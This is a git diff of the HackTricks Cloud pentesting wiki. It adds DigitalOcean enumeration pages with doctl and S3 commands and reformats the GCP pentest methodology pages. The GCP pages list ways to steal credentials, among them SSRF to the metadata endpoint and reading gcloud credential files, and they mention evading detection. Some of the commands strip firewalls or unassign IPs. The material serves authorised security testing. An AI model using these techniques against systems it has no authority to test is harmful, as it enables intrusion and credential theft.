+doctl serverless functions invoke <func-name>
+doctl serverless functions get <func-name>
+
+# Logs of executions
+doctl serverless activations list
+doctl serverless activations get <activation-id> # Get all the info about execution
+doctl serverless activations logs <activation-id> # get only the logs of execution
+doctl serverless activations result <activation-id> # get only the response result of execution
+
+# I couldn't find any way to get the env variables form the CLI
+```
+
+> [!CAUTION]
+> There **isn't metadata endpoint** from the Functions sandbox.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-images.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-images.md
new file mode 100644
index 000000000..b816a1c13
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-images.md
@@ -0,0 +1,19 @@
+# DO - Images
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+DigitalOcean Images are **pre-built operating system or application images** that can be used to create new Droplets (virtual machines) on DigitalOcean. They are similar to virtual machine templates, and they allow you to **quickly and easily create new Droplets with the operating system** and applications that you need.
+
+DigitalOcean provides a wide range of Images, including popular operating systems such as Ubuntu, CentOS, and FreeBSD, as well as pre-configured application Images such as LAMP, MEAN, and LEMP stacks. You can also create your own custom Images, or use Images from the community.
+
+When you create a new Droplet on DigitalOcean, you can choose an Image to use as the basis for the Droplet. This will automatically install the operating system and any pre-installed applications on the new Droplet, so you can start using it right away. Images can also be used to create snapshots and backups of your Droplets, so you can easily create new Droplets from the same configuration in the future.
+
+### Enumeration
+
+```
+doctl compute image list
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md
new file mode 100644
index 000000000..34ed44fb9
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md
@@ -0,0 +1,39 @@
+# DO - Kubernetes (DOKS)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+### DigitalOcean Kubernetes (DOKS)
+
+DOKS is a managed Kubernetes service offered by DigitalOcean. The service is designed to **deploy and manage Kubernetes clusters on DigitalOcean's platform**. The key aspects of DOKS include:
+
+1. **Ease of Management**: The requirement to set up and maintain the underlying infrastructure is eliminated, simplifying the management of Kubernetes clusters.
+2. **User-Friendly Interface**: It provides an intuitive interface that facilitates the creation and administration of clusters.
+3. **Integration with DigitalOcean Services**: It seamlessly integrates with other services provided by DigitalOcean, such as Load Balancers and Block Storage.
+4. **Automatic Updates and Upgrades**: The service includes the automatic updating and upgrading of clusters to ensure they are up-to-date.
+
+### Connection
+
+```bash
+# Generate kubeconfig from doctl
+doctl kubernetes cluster kubeconfig save <cluster-id>
+
+# Use a kubeconfig file that you can download from the console
+kubectl --kubeconfig=/<pathtodirectory>/k8s-1-25-4-do-0-ams3-1670939911166-kubeconfig.yaml get nodes
+```
+
+### Enumeration
+
+```bash
+# Get clusters
+doctl kubernetes cluster list
+
+# Get node pool of cluster (number of nodes)
+doctl kubernetes cluster node-pool list <cluster-id>
+
+# Get DO resources used by the cluster
+doctl kubernetes cluster list-associated-resources <cluster-id>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-networking.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-networking.md
new file mode 100644
index 000000000..c6bf58b8d
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-networking.md
@@ -0,0 +1,45 @@
+# DO - Networking
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### Domains
+
+```bash
+doctl compute domain list
+doctl compute domain records list <domain>
+# You can also create records
+```
+
+### Reserverd IPs
+
+```bash
+doctl compute reserved-ip list
+doctl compute reserved-ip-action unassign <ip>
+```
+
+### Load Balancers
+
+```bash
+doctl compute load-balancer list
+doctl compute load-balancer remove-droplets <id> --droplet-ids 12,33
+doctl compute load-balancer add-forwarding-rules <id> --forwarding-rules entry_protocol:tcp,entry_port:3306,...
+```
+
+### VPC
+
+```
+doctl vpcs list
+```
+
+### Firewall
+
+> [!CAUTION]
+> By default **droplets are created WITHOUT A FIREWALL** (not like in oder clouds such as AWS or GCP). So if you want DO to protect the ports of the droplet (VM), you need to **create it and attach it**.
+
+```bash
+doctl compute firewall list
+doctl compute firewall list-by-droplet <droplet-id>
+doctl compute firewall remove-droplets <fw-id> --droplet-ids <droplet-id>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-projects.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-projects.md
new file mode 100644
index 000000000..9c164f747
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-projects.md
@@ -0,0 +1,23 @@
+# DO - Projects
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+> project is just a container for all the **services** (droplets, spaces, databases, kubernetes...) **running together inside of it**.\
+> For more info check:
+
+{{#ref}}
+../do-basic-information.md
+{{#endref}}
+
+### Enumeration
+
+It's possible to **enumerate all the projects a user have access to** and all the resources that are running inside a project very easily:
+
+```bash
+doctl projects list # Get projects
+doctl projects resources list <proj-id> # Get all the resources of a project
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-spaces.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-spaces.md
new file mode 100644
index 000000000..bbb985e64
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-spaces.md
@@ -0,0 +1,46 @@
+# DO - Spaces
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+DigitalOcean Spaces are **object storage services**. They allow users to **store and serve large amounts of data**, such as images and other files, in a scalable and cost-effective way. Spaces can be accessed via the DigitalOcean control panel, or using the DigitalOcean API, and are integrated with other DigitalOcean services such as Droplets (virtual private servers) and Load Balancers.
+
+### Access
+
+Spaces can be **public** (anyone can access them from the Internet) or **private** (only authorised users). To access the files from a private space outside of the Control Panel, we need to generate an **access key** and **secret**. These are a pair of random tokens that serve as a **username** and **password** to grant access to your Space.
+
+A **URL of a space** looks like this: **`https://uniqbucketname.fra1.digitaloceanspaces.com/`**\
+Note the **region** as **subdomain**.
+
+Even if the **space** is **public**, **files** **inside** of it can be **private** (you will be able to access them only with credentials).
+
+However, **even** if the file is **private**, from the console it's possible to share a file with a link such as `https://fra1.digitaloceanspaces.com/uniqbucketname/filename?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=DO00PL3RA373GBV4TRF7%2F20221213%2Ffra1%2Fs3%2Faws4_request&X-Amz-Date=20221213T121017Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6a183dbc42453a8d30d7cd2068b66aeb9ebc066123629d44a8108115def975bc` for a period of time:
+
+<figure><img src="../../../images/image (277).png" alt=""><figcaption></figcaption></figure>
+
+### Enumeration
+
+```bash
+# Unauthenticated
+## Note how the region is specified in the endpoint
+aws s3 ls --endpoint=https://fra1.digitaloceanspaces.com --no-sign-request s3://uniqbucketname
+
+# Authenticated
+## Configure spaces keys as AWS credentials
+aws configure
+AWS Access Key ID [None]: <spaces_key>
+AWS Secret Access Key [None]: <Secret>
+Default region name [None]:
+Default output format [None]:
+
+## List all buckets in a region
+aws s3 ls --endpoint=https://fra1.digitaloceanspaces.com
+
+## List files inside a bucket
+aws s3 ls --endpoint=https://fra1.digitaloceanspaces.com s3://uniqbucketname
+
+## It's also possible to generate authorized access to buckets from the API
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md
new file mode 100644
index 000000000..95041a406
--- /dev/null
+++ b/src/pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md
@@ -0,0 +1,15 @@
+# DO - Volumes
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+DigitalOcean volumes are **block storage** devices that can be **attached to and detached from Droplets**. Volumes are useful for **storing data** that needs to **persist** independently of the Droplet itself, such as databases or file storage. They can be resized, attached to multiple Droplets, and snapshot for backups.
+
+### Enumeration
+
+```
+compute volume list
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/README.md b/src/pentesting-cloud/gcp-security/README.md
similarity index 55%
rename from pentesting-cloud/gcp-security/README.md
rename to src/pentesting-cloud/gcp-security/README.md
index 5cf35ed29..1b74bb6b0 100644
--- a/pentesting-cloud/gcp-security/README.md
+++ b/src/pentesting-cloud/gcp-security/README.md
@@ -1,19 +1,6 @@
 # GCP Pentesting
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -21,16 +8,16 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png"
 
 Concepts such as **organization** hierarchy, **permissions** and other basic concepts are explained in:
 
-{% content-ref url="gcp-basic-information/" %}
-[gcp-basic-information](gcp-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+gcp-basic-information/
+{{#endref}}
 
 ## Labs to learn
 
-* [https://gcpgoat.joshuajebaraj.com/](https://gcpgoat.joshuajebaraj.com/)
-* [https://github.com/ine-labs/GCPGoat](https://github.com/ine-labs/GCPGoat)
-* [https://github.com/lacioffi/GCP-pentest-lab/](https://github.com/lacioffi/GCP-pentest-lab/)
-* [https://github.com/carlospolop/gcp\_privesc\_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
+- [https://gcpgoat.joshuajebaraj.com/](https://gcpgoat.joshuajebaraj.com/)
+- [https://github.com/ine-labs/GCPGoat](https://github.com/ine-labs/GCPGoat)
+- [https://github.com/lacioffi/GCP-pentest-lab/](https://github.com/lacioffi/GCP-pentest-lab/)
+- [https://github.com/carlospolop/gcp_privesc_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
 
 ## GCP Pentester/Red Team Methodology
 
@@ -38,32 +25,31 @@ In order to audit a GCP environment it's very important to know: which **service
 
 From a Red Team point of view, the **first step to compromise a GCP environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
 
-* **Leaks** in github (or similar) - OSINT
-* **Social** Engineering (Check the page [**Workspace Security**](../workspace-security/))
-* **Password** reuse (password leaks)
-* Vulnerabilities in GCP-Hosted Applications
-  * [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
-  * **Local File Read**
-    * `/home/USERNAME/.config/gcloud/*`
-    * `C:\Users\USERNAME\.config\gcloud\*`
-* 3rd parties **breached**
-* **Internal** Employee
+- **Leaks** in github (or similar) - OSINT
+- **Social** Engineering (Check the page [**Workspace Security**](../workspace-security/))
+- **Password** reuse (password leaks)
+- Vulnerabilities in GCP-Hosted Applications
+  - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
+  - **Local File Read**
+    - `/home/USERNAME/.config/gcloud/*`
+    - `C:\Users\USERNAME\.config\gcloud\*`
+- 3rd parties **breached**
+- **Internal** Employee
 
 Or by **compromising an unauthenticated service** exposed:
 
-{% content-ref url="gcp-unauthenticated-enum-and-access/" %}
-[gcp-unauthenticated-enum-and-access](gcp-unauthenticated-enum-and-access/)
-{% endcontent-ref %}
+{{#ref}}
+gcp-unauthenticated-enum-and-access/
+{{#endref}}
 
 Or if you are doing a **review** you could just **ask for credentials** with these roles:
 
-{% content-ref url="gcp-permissions-for-a-pentest.md" %}
-[gcp-permissions-for-a-pentest.md](gcp-permissions-for-a-pentest.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-permissions-for-a-pentest.md
+{{#endref}}
 
-{% hint style="info" %}
-After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
-{% endhint %}
+> [!NOTE]
+> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
 
 ## Basic Enumeration
 
@@ -71,13 +57,14 @@ After you have managed to obtain credentials, you need to know **to who do those
 
 For more information about how to **enumerate GCP metadata** check the following hacktricks page:
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
+{{#endref}}
 
 ### Whoami
 
 In GCP you can try several options to try to guess who you are:
 
-{% code overflow="wrap" %}
 ```bash
 #If you are inside a compromise machine
 gcloud auth list
@@ -87,17 +74,14 @@ gcloud auth print-identity-token #Get info from the token
 #If you compromised a metadata token or somehow found an OAuth token
 curl -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=<token>" https://www.googleapis.com/oauth2/v1/tokeninfo
 ```
-{% endcode %}
 
 You can also use the API endpoint `/userinfo` to get more info about the user:
 
-{% code overflow="wrap" %}
 ```bash
 curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth $(gcloud auth print-access-token)" https://www.googleapis.com/oauth2/v1/userinfo
 
 curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth <access_token>" https://www.googleapis.com/oauth2/v1/userinfo
 ```
-{% endcode %}
 
 ### Org Enumeration
 
@@ -115,30 +99,29 @@ If you have enough permissions, **checking the privileges of each entity inside
 If you don't have enough permissions to enumerate IAM, you can **steal brute-force them** to figure them out.\
 Check **how to do the numeration and brute-forcing** in:
 
-{% content-ref url="gcp-services/gcp-iam-and-org-policies-enum.md" %}
-[gcp-iam-and-org-policies-enum.md](gcp-services/gcp-iam-and-org-policies-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-services/gcp-iam-and-org-policies-enum.md
+{{#endref}}
 
-{% hint style="info" %}
-Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-In the following section you can check some ways to **enumerate some common services.**
-{% endhint %}
+> [!NOTE]
+> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
+> In the following section you can check some ways to **enumerate some common services.**
 
 ## Services Enumeration
 
 GCP has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets, how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
 
-{% content-ref url="gcp-services/" %}
-[gcp-services](gcp-services/)
-{% endcontent-ref %}
+{{#ref}}
+gcp-services/
+{{#endref}}
 
 Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automatic-tools).
 
 Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
 
-{% content-ref url="gcp-unauthenticated-enum-and-access/" %}
-[gcp-unauthenticated-enum-and-access](gcp-unauthenticated-enum-and-access/)
-{% endcontent-ref %}
+{{#ref}}
+gcp-unauthenticated-enum-and-access/
+{{#endref}}
 
 ## Privilege Escalation, Post Exploitation & Persistence
 
@@ -146,17 +129,17 @@ The most common way once you have obtained some cloud credentials or have compro
 
 Moreover, during this enumeration, remember that **permissions can be set at the highest level of "Organization"** as well.
 
-{% content-ref url="gcp-privilege-escalation/" %}
-[gcp-privilege-escalation](gcp-privilege-escalation/)
-{% endcontent-ref %}
+{{#ref}}
+gcp-privilege-escalation/
+{{#endref}}
 
-{% content-ref url="gcp-post-exploitation/" %}
-[gcp-post-exploitation](gcp-post-exploitation/)
-{% endcontent-ref %}
+{{#ref}}
+gcp-post-exploitation/
+{{#endref}}
 
-{% content-ref url="gcp-persistence/" %}
-[gcp-persistence](gcp-persistence/)
-{% endcontent-ref %}
+{{#ref}}
+gcp-persistence/
+{{#endref}}
 
 ### Publicly Exposed Services
 
@@ -165,22 +148,24 @@ As pentester/red teamer you should always check if you can find **sensitive info
 
 In this book you should find **information** about how to find **exposed GCP services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
 
-{% embed url="https://book.hacktricks.xyz/" %}
+{{#ref}}
+https://book.hacktricks.xyz/
+{{#endref}}
 
 ## GCP <--> Workspace Pivoting
 
 **Compromising** principals in **one** platform might allow an attacker to **compromise the other one**, check it in:
 
-{% content-ref url="gcp-to-workspace-pivoting/" %}
-[gcp-to-workspace-pivoting](gcp-to-workspace-pivoting/)
-{% endcontent-ref %}
+{{#ref}}
+gcp-to-workspace-pivoting/
+{{#endref}}
 
 ## Automatic Tools
 
-* In the **GCloud console**, in [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) you can see resources and IAMs being used by project.
-  * Here you can see the assets supported by this API: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
-* Check **tools** that can be [**used in several clouds here**](../pentesting-cloud-methodology.md).
-* [**gcp\_scanner**](https://github.com/google/gcp_scanner): This is a GCP resource scanner that can help determine what **level of access certain credentials posses** on GCP.
+- In the **GCloud console**, in [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) you can see resources and IAMs being used by project.
+  - Here you can see the assets supported by this API: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
+- Check **tools** that can be [**used in several clouds here**](../pentesting-cloud-methodology.md).
+- [**gcp_scanner**](https://github.com/google/gcp_scanner): This is a GCP resource scanner that can help determine what **level of access certain credentials posses** on GCP.
 
 ```bash
 # Install
@@ -193,9 +178,9 @@ pip install -r requirements.txt
 python3 __main__.py -o /tmp/output/ -g "$HOME/.config/gcloud"
 ```
 
-* [**gcp\_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash script to enumerate a GCP environment using gcloud cli and saving the results in a file.
-* [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): Scripts to enumerate high IAM privileges and to escalate privileges in GCP abusing them (I couldn’t make run the enumerate script).
-* [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): Script to bruteforce your permissions.
+- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash script to enumerate a GCP environment using gcloud cli and saving the results in a file.
+- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): Scripts to enumerate high IAM privileges and to escalate privileges in GCP abusing them (I couldn’t make run the enumerate script).
+- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): Script to bruteforce your permissions.
 
 ## gcloud config & debug
 
@@ -255,19 +240,6 @@ gcloud config unset auth/access_token_file
 
 ## References
 
-* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
+- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-basic-information/README.md b/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md
similarity index 73%
rename from pentesting-cloud/gcp-security/gcp-basic-information/README.md
rename to src/pentesting-cloud/gcp-security/gcp-basic-information/README.md
index 4adbc2a48..890c5d03b 100644
--- a/pentesting-cloud/gcp-security/gcp-basic-information/README.md
+++ b/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md
@@ -1,19 +1,6 @@
 # GCP - Basic Information
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## **Resource hierarchy**
 
@@ -30,7 +17,7 @@ Organization
 
 A virtual machine (called a Compute Instance) is a resource. A resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg">https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg</a></p></figcaption></figure>
+<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg">https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg</a></p></figcaption></figure>
 
 ## **Projects Migration**
 
@@ -40,24 +27,24 @@ It's possible to **migrate a project without any organization** to an organizati
 
 Allow to centralize control over your organization's cloud resources:
 
-* Centralize control to **configure restrictions** on how your organization’s resources can be used.
-* Define and establish **guardrails** for your development teams to stay within compliance boundaries.
-* Help project owners and their teams move quickly without worry of breaking compliance.
+- Centralize control to **configure restrictions** on how your organization’s resources can be used.
+- Define and establish **guardrails** for your development teams to stay within compliance boundaries.
+- Help project owners and their teams move quickly without worry of breaking compliance.
 
 These policies can be created to **affect the complete organization, folder(s) or project(s)**. Descendants of the targeted resource hierarchy node **inherit the organization policy**.
 
 In order to **define** an organization policy, **you choose a** [**constraint**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), which is a particular type of restriction against either a Google Cloud service or a group of Google Cloud services. You **configure that constraint with your desired restrictions**.
 
-<figure><img src="../../../.gitbook/assets/image (217).png" alt=""><figcaption><p><a href="https://cloud.google.com/resource-manager/img/org-policy-concepts.svg">https://cloud.google.com/resource-manager/img/org-policy-concepts.svg</a></p></figcaption></figure>
+<figure><img src="../../../images/image (217).png" alt=""><figcaption><p><a href="https://cloud.google.com/resource-manager/img/org-policy-concepts.svg">https://cloud.google.com/resource-manager/img/org-policy-concepts.svg</a></p></figcaption></figure>
 
 #### Common use cases <a href="#common_use_cases" id="common_use_cases"></a>
 
-* Limit resource sharing based on domain.
-* Limit the usage of Identity and Access Management service accounts.
-* Restrict the physical location of newly created resources.
-* Disable service account creation
+- Limit resource sharing based on domain.
+- Limit the usage of Identity and Access Management service accounts.
+- Restrict the physical location of newly created resources.
+- Disable service account creation
 
-<figure><img src="../../../.gitbook/assets/image (172).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (172).png" alt=""><figcaption></figcaption></figure>
 
 There are many more constraints that give you fine-grained control of your organization's resources. For **more information, see the** [**list of all Organization Policy Service constraints**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.**
 
@@ -69,39 +56,39 @@ There are many more constraints that give you fine-grained control of your organ
 
 **Access Management Policies**
 
-* **Domain restricted contacts:** Prevents adding users to Essential Contacts outside your specified domains. This limits Essential Contacts to only allow managed user identities in your selected domains to receive platform notifications.
-* **Domain restricted sharing:** Prevents adding users to IAM policies outside your specified domains. This limits IAM policies to only allow managed user identities in your selected domains to access resources inside this organization.
-* **Public access prevention:** Prevents Cloud Storage buckets from being exposed to the public. This ensures that a developer can't configure Cloud Storage buckets to have unauthenticated internet access.
-* **Uniform bucket level access:** Prevents object-level access control lists (ACLs) in Cloud Storage buckets. This simplifies your access management by applying IAM policies consistently across all objects in Cloud Storage buckets.
-* **Require OS login:** VMs created in new projects will have OS Login enabled. This lets you manage SSH access to your instances using IAM without needing to create and manage individual SSH keys.
+- **Domain restricted contacts:** Prevents adding users to Essential Contacts outside your specified domains. This limits Essential Contacts to only allow managed user identities in your selected domains to receive platform notifications.
+- **Domain restricted sharing:** Prevents adding users to IAM policies outside your specified domains. This limits IAM policies to only allow managed user identities in your selected domains to access resources inside this organization.
+- **Public access prevention:** Prevents Cloud Storage buckets from being exposed to the public. This ensures that a developer can't configure Cloud Storage buckets to have unauthenticated internet access.
+- **Uniform bucket level access:** Prevents object-level access control lists (ACLs) in Cloud Storage buckets. This simplifies your access management by applying IAM policies consistently across all objects in Cloud Storage buckets.
+- **Require OS login:** VMs created in new projects will have OS Login enabled. This lets you manage SSH access to your instances using IAM without needing to create and manage individual SSH keys.
 
 **Additional security policies for service accounts**
 
-* **Disable automatic IAM grants**: Prevents the default App Engine and Compute Engine service accounts from automatically being granted the Editor IAM role on a project at creation. This ensures service accounts don't receive overly-permissive IAM roles upon creation.
-* **Disable service account key creation**: Prevents the creation of public service account keys. This helps reduce the risk of exposing persistent credentials.
-* **Disable service account key upload**: Prevents the uploading of public service account keys. This helps reduce the risk of leaked or reused key material.
+- **Disable automatic IAM grants**: Prevents the default App Engine and Compute Engine service accounts from automatically being granted the Editor IAM role on a project at creation. This ensures service accounts don't receive overly-permissive IAM roles upon creation.
+- **Disable service account key creation**: Prevents the creation of public service account keys. This helps reduce the risk of exposing persistent credentials.
+- **Disable service account key upload**: Prevents the uploading of public service account keys. This helps reduce the risk of leaked or reused key material.
 
 **Secure VPC network configuration policies**
 
-* **Define allowed external IPs for VM instances**: Prevents the creation of Compute instances with a public IP, which can expose them to internet traffic.
+- **Define allowed external IPs for VM instances**: Prevents the creation of Compute instances with a public IP, which can expose them to internet traffic.
 
-- **Disable VM nested virtualization**: Prevents the creation of nested VMs on Compute Engine VMs. This decreases the security risk of having unmonitored nested VMs.
+* **Disable VM nested virtualization**: Prevents the creation of nested VMs on Compute Engine VMs. This decreases the security risk of having unmonitored nested VMs.
 
-* **Disable VM serial port:** Prevents serial port access to Compute Engine VMs. This prevents input to a server’s serial port using the Compute Engine API.
+- **Disable VM serial port:** Prevents serial port access to Compute Engine VMs. This prevents input to a server’s serial port using the Compute Engine API.
 
-- **Restrict authorized networks on Cloud SQL instances:** Prevents public or non-internal network ranges from accessing your Cloud SQL databases.
+* **Restrict authorized networks on Cloud SQL instances:** Prevents public or non-internal network ranges from accessing your Cloud SQL databases.
 
-* **Restrict Protocol Forwarding Based on type of IP Address:** Prevents VM protocol forwarding for external IP addresses.
+- **Restrict Protocol Forwarding Based on type of IP Address:** Prevents VM protocol forwarding for external IP addresses.
 
-- **Restrict Public IP access on Cloud SQL instances:** Prevents the creation of Cloud SQL instances with a public IP, which can expose them to internet traffic.
+* **Restrict Public IP access on Cloud SQL instances:** Prevents the creation of Cloud SQL instances with a public IP, which can expose them to internet traffic.
 
